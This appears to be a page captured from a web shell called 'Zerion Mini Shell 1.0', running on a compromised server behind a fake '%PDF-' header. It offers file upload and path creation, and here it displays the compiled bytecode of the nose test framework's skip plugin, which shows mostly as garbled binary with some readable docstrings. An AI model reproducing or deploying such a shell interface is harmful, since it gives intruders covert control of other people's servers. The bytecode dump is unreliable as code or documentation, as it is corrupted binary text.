%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/alt/python37/lib/python3.7/site-packages/nose/plugins/__pycache__/
Upload File :
Create Path :
Current File : //opt/alt/python37/lib/python3.7/site-packages/nose/plugins/__pycache__/skip.cpython-37.pyc

B

d�U^�@s�dZddlmZmZyddlmZWnJek
rnyddlmZWn$ek
rhGdd�de�ZYnXYnXGdd�de�Z	dS)	a^
This plugin installs a SKIP error class for the SkipTest exception.
When SkipTest is raised, the exception will be logged in the skipped
attribute of the result, 'S' or 'SKIP' (verbose) will be output, and
the exception will not be counted as an error or failure. This plugin
is enabled by default but may be disabled with the ``--no-skip`` option.
�)�
ErrorClass�ErrorClassPlugin)�SkipTestc@seZdZdZdS)rz<Raise this exception to mark a test as skipped.
            N)�__name__�
__module__�__qualname__�__doc__�r	r	�B/opt/alt/python37/lib/python3.7/site-packages/nose/plugins/skip.pyrsrc@s2eZdZdZdZeeddd�Zdd�Zdd	�Z	d
S)�Skipa"
    Plugin that installs a SKIP error class for the SkipTest
    exception.  When SkipTest is raised, the exception will be logged
    in the skipped attribute of the result, 'S' or 'SKIP' (verbose)
    will be output, and the exception will not be counted as an error
    or failure.
    TZSKIPF)ZlabelZ	isfailurecCs$d}|jddd|�|d�dd�dS)	z1
        Add my options to command line.
        ZNOSE_WITHOUT_SKIPz	--no-skip�
store_true�noSkipFz0Disable special handling of SkipTest exceptions.)�action�dest�default�helpN)Z
add_option�get)�self�parser�envZenv_optr	r	r
�options+szSkip.optionscCs*|js
dS||_t|dd�}|r&d|_dS)zF
        Configure plugin. Skip plugin is enabled by default.
        Nr
F)Z
can_configure�conf�getattr�enabled)rrrZdisabler	r	r
�	configure5szSkip.configureN)
rrrrrrrZskippedrrr	r	r	r
rs
rN)
rZnose.plugins.errorclassrrZ
unittest.caser�ImportErrorZunittest2.case�	Exceptionrr	r	r	r
�<module>s	

Zerion Mini Shell 1.0